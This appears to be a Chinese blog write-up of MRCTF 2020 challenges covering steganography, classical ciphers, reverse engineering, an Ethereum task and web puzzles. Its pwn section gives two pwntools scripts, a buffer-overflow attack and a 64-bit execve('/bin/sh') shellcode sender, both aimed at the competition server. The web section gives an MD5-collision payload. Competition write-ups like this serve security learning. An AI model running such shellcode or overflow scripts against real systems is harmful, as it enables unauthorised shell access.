-->
当前位置:首页 > DayDayUp > 正文内容

[WP]MRCTF 2020部分题目简要解题思路

Luz4年前 (2020-03-29)DayDayUp6520

MISC:

修改系统日期得到flag


修改图片高度得到flag


我这里用了audacity分析了频谱

根据频率查表得到电话号码


到微信号发送手机号得到flag


三张图片末尾提取出同一个压缩包的三个部分

拼接起来爆破密码为1234

解压得到flag.txt 与隐藏文件hint.txt

把flag.txt base85解码-->base16解码-->base32解码-->base16解码-->base64解码得到flag


百度搜一下可以找到原图

简单拼了一下


前几年看到过这种用声音逐行传输图片的办法

叫做SSTV

SSTV加解密软件 : https://hyluz.cn/?id=116

和bjd的套娃题基本一样

一键解压脚本

#coding:utf-8
import os
import zipfile
zipfile_addr0='C:\\Users\\80597\\Desktop\\qctw\\'
zipfile_addr=zipfile_addr0
pwd='0573'
lastname='0573'
while(1):
    zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.zip', 'r')
    for names in zip_file.namelist():
        zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii'))
        pwd=names[:-4]
        print(pwd)
        print(names)
        lastname=names[:-4]

最终解压出来是一个像素点二维码

01替换后用工具绘制

ps取个反像后扫一扫得到flag


解压得到一张图片,一段音频

音频的文件名提示看文件结尾,查看文件结尾发现AES密码

图片中分离出aes.png 得知密钥为Tokyo

解密得到压缩包密码

压缩包中还有一个音频文件

silentEye docode一下得到flag


Rar文件头部有误,修改一下解压出来

隐藏文字+音符密码解密得到flag


解压出png与有密码的flag.rar

png中发现lsb隐藏文件与结尾的带密码压缩包

提取lsb隐藏的png

得到png结尾压缩包的密码

打开压缩包中的out.txt 发现255等数字,学校平台上有类似的题目,把255等分别提取出前两位二进制数字

得到题目附带的另一个压缩包的密码,解压发现里面有个伪装成zip的doc文档,修改后缀名后打开

文档末尾有白的的文字,改个颜色就能看到了

base64逐行解密得到01组成的文本


把1替换成空格得到flag








CRYPTO

看看九键键盘获得flag




查阅天干地支表并把序号加60 再对照ascii码表获得flag



猪圈密码 圣堂武士密码 标准银河字母的结合体

参照密码表解密后再用栅栏密码解密得到flag



维吉尼亚密码,需要爆破密钥

自己写爆破脚本很麻烦,在GitHub上找点项目

然后就得到了flag



RE

str1="gy{\x7Fu+<RSyW^]B{-*fB~LWyAk~e<\EobM"
str2=[9,0x0A,0x0F,0x17,7,0x18,0x0C,6,1,0x10,3,0x11,0x20,0x1D,0x0B,0x1E,0x1B,0x16,4,0x0D,0x13,0x14,0x15,2,0x19,5,0x1F,8,0x12,0x1A,0x1C,0x0E]
flag=""
for i in range(32):
    flag+='\n'+str(str2[i])+':'+chr(ord(str1[i])^str2[i])
print(flag)

输出按1-32排序获得flag


解压apk

unity的游戏,直接搜索 Assembly-CSharp.dll

由于是.net的dll,使用Reflector打开

搜索字符串

发现flag


image.png

动态调试在首个输出后下断

image.png

一直在循环处理r9+rax的数据,r9存储数组位置,rax存储数组下标

跳转到这里看看

image.png

再往下看看

image.png

判断代码都有了

大致流程是把输入按奇数位偶数位进行处理后与cmps数组的响应位置比较

编写解题脚本

#include<stdio.h>
int main(){
	int cmps[29]={0,83,80,73,80,76,125,61,96,107,85,62,63,121, 122,101,33,123,82,101,114,54,100 ,101,97,85,111,39,97};
	for(int i=0;i<=28;i++){
		int a;
		if(i%2==0){
			a=cmps[i]^i;	
		}
		else{
			a=cmps[i]-6;	
		} 
		printf("%c",a);
	}
}

image.png


image.png

go语言程序,无符号,使用go_entry.py符号化,符号化后可以更方便地分析

go语言入口函数image.png

image.png

对输入长度进行判断,0x18

再此下断调试

image.png

image.png

单步下来有个stringcmp果断进入

image.png

rsi对应的值与rdi对应的值做比较,查看rdi,是我们输入的东西,rsi是flag

image.png

PWN

#coding:utf-8
from pwn import *
#context.log_level = 'debug' 
i=1
while(1):
	p=remote("38.39.244.2",28073)
	#p=process('./easy_overflow')
	p.sendline('a'*48+"n0t_r3@11y_f1@g")
	p.sendline('ls')
	print i
	try:	
		p.recv(timeout=5)
	except EOFError:
		i=i+1
		p.close()
		continue
	#p.close()
	p.interactive()

后门判断位于canary校验前,对canary进行泄露和保留


直接执行输入的shellcode

找个64位的shellcode用一下

from pwn import *
shellcode="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
p=remote("38.39.244.2",28083)
p.sendline(shellcode)
p.interactive()


Ethereum

不会区块链,这题看题目flag应该直接在合约里面

科学上网打开账户

题目开启时有一笔交易

查看交易的哈希块

inputData的编码方式改成utf8看到flag

反编译data的原始数据也可以得到flag


WEB

image.png

md5值全等且原字符串不相等

找了两个md5全等的串

/?id=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&gg=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

需要再post一个passwd=1234567a

然后可能是我太业余了我的burp发不出参数(哪位大佬帮我看看,是我的问题还是它的问题),

image.png

找了个在线网站发

image.png





by:Luz

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。